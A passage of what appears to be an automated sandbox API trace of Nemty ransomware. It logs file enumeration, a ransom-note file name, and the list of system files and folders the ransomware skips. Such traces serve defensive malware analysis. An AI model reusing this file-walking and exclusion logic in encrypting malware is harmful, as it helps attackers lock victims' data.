ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xef2c6770, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xef2ec8d0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0100.838] FindClose (in: hFindFile=0x3423930 | out: hFindFile=0x3423930) returned 1 [0100.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0100.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f940e0 | out: hHeap=0x4f90000) returned 1 [0100.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0100.838] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88c0db86, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x88c0db86, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x29c54b90, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xe3000, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="InkSeg.dll", cAlternateFileName="")) returned 1 [0100.838] lstrcmpiW (lpString1="InkSeg.dll", lpString2=".") returned 1 [0100.838] lstrcmpiW (lpString1="InkSeg.dll", lpString2="..") returned 1 [0100.838] lstrcmpiW (lpString1="InkSeg.dll", lpString2="...") returned 1 [0100.838] lstrcmpiW (lpString1="InkSeg.dll", lpString2="windows") returned -1 [0100.838] lstrcmpiW (lpString1="InkSeg.dll", lpString2="$RECYCLE.BIN") returned 1 [0100.838] lstrcmpiW (lpString1="InkSeg.dll", lpString2="rsa") returned -1 [0100.838] lstrcmpiW (lpString1="InkSeg.dll", lpString2="NTDETECT.COM") returned -1 [0100.838] lstrcmpiW (lpString1="InkSeg.dll", lpString2="ntldr") returned -1 [0100.838] lstrcmpiW (lpString1="InkSeg.dll", lpString2="MSDOS.SYS") returned -1 [0100.838] lstrcmpiW (lpString1="InkSeg.dll", lpString2="IO.SYS") returned -1 [0100.838] lstrcmpiW (lpString1="InkSeg.dll", lpString2="boot.ini") returned 1 [0100.839] lstrcmpiW (lpString1="InkSeg.dll", lpString2="boot.ini") returned 1 [0100.839] lstrcmpiW (lpString1="InkSeg.dll", lpString2="AUTOEXEC.BAT") returned 1 [0100.839] lstrcmpiW (lpString1="InkSeg.dll", lpString2="ntuser.dat") returned -1 [0100.839] lstrcmpiW (lpString1="InkSeg.dll", lpString2="desktop.ini") returned 1 [0100.839] lstrcmpiW (lpString1="InkSeg.dll", lpString2="CONFIG.SYS") returned 1 [0100.839] lstrcmpiW (lpString1="InkSeg.dll", lpString2="RECYCLER") returned -1 [0100.839] lstrcmpiW (lpString1="InkSeg.dll", lpString2="BOOTSECT.BAK") returned 1 [0100.839] lstrcmpiW (lpString1="InkSeg.dll", lpString2="bootmgr") returned 1 [0100.839] lstrcmpiW (lpString1="InkSeg.dll", lpString2="programdata") returned -1 [0100.839] lstrcmpiW (lpString1="InkSeg.dll", lpString2="appdata") returned 1 [0100.839] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0100.839] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="InkSeg.dll", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0100.839] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="InkSeg.dll", cchWideChar=10, lpMultiByteStr=0x653f590, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InkSeg.dll", lpUsedDefaultChar=0x0) returned 10 [0100.839] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0100.839] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="InkSeg.dll", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0100.839] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="InkSeg.dll", cchWideChar=10, lpMultiByteStr=0x653f590, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InkSeg.dll", lpUsedDefaultChar=0x0) returned 10 [0100.839] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0100.839] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0100.839] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0100.839] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="InkSeg.dll", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0100.839] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="InkSeg.dll", cchWideChar=10, lpMultiByteStr=0x653f5e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InkSeg.dll", lpUsedDefaultChar=0x0) returned 10 [0100.839] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0100.839] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0100.839] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="InkSeg.dll", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0100.839] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="InkSeg.dll", cchWideChar=10, lpMultiByteStr=0x653f618, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InkSeg.dll", lpUsedDefaultChar=0x0) returned 10 [0100.839] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0100.839] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f940e0 [0100.839] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0100.839] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c554863, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x8c554863, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2aeed770, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x154400, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="JNTFiltr.dll", cAlternateFileName="")) returned 1 [0100.839] lstrcmpiW (lpString1="JNTFiltr.dll", lpString2=".") returned 1 [0100.839] lstrcmpiW (lpString1="JNTFiltr.dll", lpString2="..") returned 1 [0100.839] lstrcmpiW (lpString1="JNTFiltr.dll", lpString2="...") returned 1 [0100.839] lstrcmpiW (lpString1="JNTFiltr.dll", lpString2="windows") returned -1 [0100.839] lstrcmpiW (lpString1="JNTFiltr.dll", lpString2="$RECYCLE.BIN") returned 1 [0100.839] lstrcmpiW (lpString1="JNTFiltr.dll", lpString2="rsa") returned -1 [0100.839] lstrcmpiW (lpString1="JNTFiltr.dll", lpString2="NTDETECT.COM") returned -1 [0100.840] lstrcmpiW (lpString1="JNTFiltr.dll", lpString2="ntldr") returned -1 [0100.840] lstrcmpiW (lpString1="JNTFiltr.dll", lpString2="MSDOS.SYS") returned -1 [0100.840] lstrcmpiW (lpString1="JNTFiltr.dll", lpString2="IO.SYS") returned 1 [0100.840] lstrcmpiW (lpString1="JNTFiltr.dll", lpString2="boot.ini") returned 1 [0100.840] lstrcmpiW (lpString1="JNTFiltr.dll", lpString2="boot.ini") returned 1 [0100.840] lstrcmpiW (lpString1="JNTFiltr.dll", lpString2="AUTOEXEC.BAT") returned 1 [0100.840] lstrcmpiW (lpString1="JNTFiltr.dll", lpString2="ntuser.dat") returned -1 [0100.840] lstrcmpiW (lpString1="JNTFiltr.dll", lpString2="desktop.ini") returned 1 [0100.840] lstrcmpiW (lpString1="JNTFiltr.dll", lpString2="CONFIG.SYS") returned 1 [0100.840] lstrcmpiW (lpString1="JNTFiltr.dll", lpString2="RECYCLER") returned -1 [0100.840] lstrcmpiW (lpString1="JNTFiltr.dll", lpString2="BOOTSECT.BAK") returned 1 [0100.840] lstrcmpiW (lpString1="JNTFiltr.dll", lpString2="bootmgr") returned 1 [0100.840] lstrcmpiW (lpString1="JNTFiltr.dll", lpString2="programdata") returned -1 [0100.840] lstrcmpiW (lpString1="JNTFiltr.dll", lpString2="appdata") returned 1 [0100.840] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0100.840] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="JNTFiltr.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0100.840] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="JNTFiltr.dll", cchWideChar=12, lpMultiByteStr=0x653f590, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="JNTFiltr.dll", lpUsedDefaultChar=0x0) returned 12 [0100.840] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0100.840] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="JNTFiltr.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0100.840] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="JNTFiltr.dll", cchWideChar=12, lpMultiByteStr=0x653f590, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="JNTFiltr.dll", lpUsedDefaultChar=0x0) returned 12 [0100.840] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0100.840] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0100.840] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0100.840] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="JNTFiltr.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0100.840] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="JNTFiltr.dll", cchWideChar=12, lpMultiByteStr=0x653f5e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="JNTFiltr.dll", lpUsedDefaultChar=0x0) returned 12 [0100.840] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0100.840] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0100.840] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="JNTFiltr.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0100.840] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="JNTFiltr.dll", cchWideChar=12, lpMultiByteStr=0x653f618, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="JNTFiltr.dll", lpUsedDefaultChar=0x0) returned 12 [0100.840] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0100.840] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f94148 [0100.840] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f940e0 | out: hHeap=0x4f90000) returned 1 [0100.840] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b77e99a, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x8b77e99a, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2b043430, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x156800, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="JNWDRV.dll", cAlternateFileName="")) returned 1 [0100.840] lstrcmpiW (lpString1="JNWDRV.dll", lpString2=".") returned 1 [0100.840] lstrcmpiW (lpString1="JNWDRV.dll", lpString2="..") returned 1 [0100.840] lstrcmpiW (lpString1="JNWDRV.dll", lpString2="...") returned 1 [0100.841] lstrcmpiW (lpString1="JNWDRV.dll", lpString2="windows") returned -1 [0100.841] lstrcmpiW (lpString1="JNWDRV.dll", lpString2="$RECYCLE.BIN") returned 1 [0100.841] lstrcmpiW (lpString1="JNWDRV.dll", lpString2="rsa") returned -1 [0100.841] lstrcmpiW (lpString1="JNWDRV.dll", lpString2="NTDETECT.COM") returned -1 [0100.841] lstrcmpiW (lpString1="JNWDRV.dll", lpString2="ntldr") returned -1 [0100.841] lstrcmpiW (lpString1="JNWDRV.dll", lpString2="MSDOS.SYS") returned -1 [0100.841] lstrcmpiW (lpString1="JNWDRV.dll", lpString2="IO.SYS") returned 1 [0100.841] lstrcmpiW (lpString1="JNWDRV.dll", lpString2="boot.ini") returned 1 [0100.841] lstrcmpiW (lpString1="JNWDRV.dll", lpString2="boot.ini") returned 1 [0100.841] lstrcmpiW (lpString1="JNWDRV.dll", lpString2="AUTOEXEC.BAT") returned 1 [0100.841] lstrcmpiW (lpString1="JNWDRV.dll", lpString2="ntuser.dat") returned -1 [0100.841] lstrcmpiW (lpString1="JNWDRV.dll", lpString2="desktop.ini") returned 1 [0100.841] lstrcmpiW (lpString1="JNWDRV.dll", lpString2="CONFIG.SYS") returned 1 [0100.841] lstrcmpiW (lpString1="JNWDRV.dll", lpString2="RECYCLER") returned -1 [0100.841] lstrcmpiW (lpString1="JNWDRV.dll", lpString2="BOOTSECT.BAK") returned 1 [0100.841] lstrcmpiW (lpString1="JNWDRV.dll", lpString2="bootmgr") returned 1 [0100.841] lstrcmpiW (lpString1="JNWDRV.dll", lpString2="programdata") returned -1 [0100.841] lstrcmpiW (lpString1="JNWDRV.dll", lpString2="appdata") returned 1 [0100.841] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0100.841] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="JNWDRV.dll", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0100.841] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="JNWDRV.dll", cchWideChar=10, lpMultiByteStr=0x653f590, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="JNWDRV.dll", lpUsedDefaultChar=0x0) returned 10 [0100.841] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0100.841] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="JNWDRV.dll", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0100.841] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="JNWDRV.dll", cchWideChar=10, lpMultiByteStr=0x653f590, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="JNWDRV.dll", lpUsedDefaultChar=0x0) returned 10 [0100.841] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0100.841] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0100.841] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0100.841] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="JNWDRV.dll", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0100.841] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="JNWDRV.dll", cchWideChar=10, lpMultiByteStr=0x653f5e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="JNWDRV.dll", lpUsedDefaultChar=0x0) returned 10 [0100.841] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0100.841] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0100.841] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="JNWDRV.dll", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0100.841] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="JNWDRV.dll", cchWideChar=10, lpMultiByteStr=0x653f618, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="JNWDRV.dll", lpUsedDefaultChar=0x0) returned 10 [0100.841] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0100.841] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f94088 [0100.841] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94148 | out: hHeap=0x4f90000) returned 1 [0100.842] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77861d5d, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x77861d5d, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2b0b6020, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x18200, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="jnwdui.dll", cAlternateFileName="")) returned 1 [0100.842] lstrcmpiW (lpString1="jnwdui.dll", lpString2=".") returned 1 [0100.842] lstrcmpiW (lpString1="jnwdui.dll", lpString2="..") returned 1 [0100.842] lstrcmpiW (lpString1="jnwdui.dll", lpString2="...") returned 1 [0100.842] lstrcmpiW (lpString1="jnwdui.dll", lpString2="windows") returned -1 [0100.842] lstrcmpiW (lpString1="jnwdui.dll", lpString2="$RECYCLE.BIN") returned 1 [0100.842] lstrcmpiW (lpString1="jnwdui.dll", lpString2="rsa") returned -1 [0100.842] lstrcmpiW (lpString1="jnwdui.dll", lpString2="NTDETECT.COM") returned -1 [0100.842] lstrcmpiW (lpString1="jnwdui.dll", lpString2="ntldr") returned -1 [0100.842] lstrcmpiW (lpString1="jnwdui.dll", lpString2="MSDOS.SYS") returned -1 [0100.842] lstrcmpiW (lpString1="jnwdui.dll", lpString2="IO.SYS") returned 1 [0100.842] lstrcmpiW (lpString1="jnwdui.dll", lpString2="boot.ini") returned 1 [0100.842] lstrcmpiW (lpString1="jnwdui.dll", lpString2="boot.ini") returned 1 [0100.842] lstrcmpiW (lpString1="jnwdui.dll", lpString2="AUTOEXEC.BAT") returned 1 [0100.842] lstrcmpiW (lpString1="jnwdui.dll", lpString2="ntuser.dat") returned -1 [0100.842] lstrcmpiW (lpString1="jnwdui.dll", lpString2="desktop.ini") returned 1 [0100.842] lstrcmpiW (lpString1="jnwdui.dll", lpString2="CONFIG.SYS") returned 1 [0100.842] lstrcmpiW (lpString1="jnwdui.dll", lpString2="RECYCLER") returned -1 [0100.842] lstrcmpiW (lpString1="jnwdui.dll", lpString2="BOOTSECT.BAK") returned 1 [0100.842] lstrcmpiW (lpString1="jnwdui.dll", lpString2="bootmgr") returned 1 [0100.842] lstrcmpiW (lpString1="jnwdui.dll", lpString2="programdata") returned -1 [0100.842] lstrcmpiW (lpString1="jnwdui.dll", lpString2="appdata") returned 1 [0100.842] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0100.842] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jnwdui.dll", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0100.842] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jnwdui.dll", cchWideChar=10, lpMultiByteStr=0x653f590, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jnwdui.dll", lpUsedDefaultChar=0x0) returned 10 [0100.842] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0100.842] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jnwdui.dll", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0100.842] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jnwdui.dll", cchWideChar=10, lpMultiByteStr=0x653f590, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jnwdui.dll", lpUsedDefaultChar=0x0) returned 10 [0100.842] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0100.842] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0100.842] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0100.842] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jnwdui.dll", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0100.842] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jnwdui.dll", cchWideChar=10, lpMultiByteStr=0x653f5e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jnwdui.dll", lpUsedDefaultChar=0x0) returned 10 [0100.842] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0100.842] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0100.842] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jnwdui.dll", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0100.842] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jnwdui.dll", cchWideChar=10, lpMultiByteStr=0x653f618, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jnwdui.dll", lpUsedDefaultChar=0x0) returned 10 [0100.843] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0100.843] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f940f0 [0100.843] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0100.843] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x778fa2d1, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x778fa2d1, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2b0b6020, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="jnwmon.dll", cAlternateFileName="")) returned 1 [0100.843] lstrcmpiW (lpString1="jnwmon.dll", lpString2=".") returned 1 [0100.843] lstrcmpiW (lpString1="jnwmon.dll", lpString2="..") returned 1 [0100.843] lstrcmpiW (lpString1="jnwmon.dll", lpString2="...") returned 1 [0100.843] lstrcmpiW (lpString1="jnwmon.dll", lpString2="windows") returned -1 [0100.843] lstrcmpiW (lpString1="jnwmon.dll", lpString2="$RECYCLE.BIN") returned 1 [0100.843] lstrcmpiW (lpString1="jnwmon.dll", lpString2="rsa") returned -1 [0100.843] lstrcmpiW (lpString1="jnwmon.dll", lpString2="NTDETECT.COM") returned -1 [0100.843] lstrcmpiW (lpString1="jnwmon.dll", lpString2="ntldr") returned -1 [0100.843] lstrcmpiW (lpString1="jnwmon.dll", lpString2="MSDOS.SYS") returned -1 [0100.843] lstrcmpiW (lpString1="jnwmon.dll", lpString2="IO.SYS") returned 1 [0100.843] lstrcmpiW (lpString1="jnwmon.dll", lpString2="boot.ini") returned 1 [0100.843] lstrcmpiW (lpString1="jnwmon.dll", lpString2="boot.ini") returned 1 [0100.843] lstrcmpiW (lpString1="jnwmon.dll", lpString2="AUTOEXEC.BAT") returned 1 [0100.843] lstrcmpiW (lpString1="jnwmon.dll", lpString2="ntuser.dat") returned -1 [0100.843] lstrcmpiW (lpString1="jnwmon.dll", lpString2="desktop.ini") returned 1 [0100.843] lstrcmpiW (lpString1="jnwmon.dll", lpString2="CONFIG.SYS") returned 1 [0100.843] lstrcmpiW (lpString1="jnwmon.dll", lpString2="RECYCLER") returned -1 [0100.843] lstrcmpiW (lpString1="jnwmon.dll", lpString2="BOOTSECT.BAK") returned 1 [0100.843] lstrcmpiW (lpString1="jnwmon.dll", lpString2="bootmgr") returned 1 [0100.843] lstrcmpiW (lpString1="jnwmon.dll", lpString2="programdata") returned -1 [0100.843] lstrcmpiW (lpString1="jnwmon.dll", lpString2="appdata") returned 1 [0100.843] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0100.843] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jnwmon.dll", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0100.843] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jnwmon.dll", cchWideChar=10, 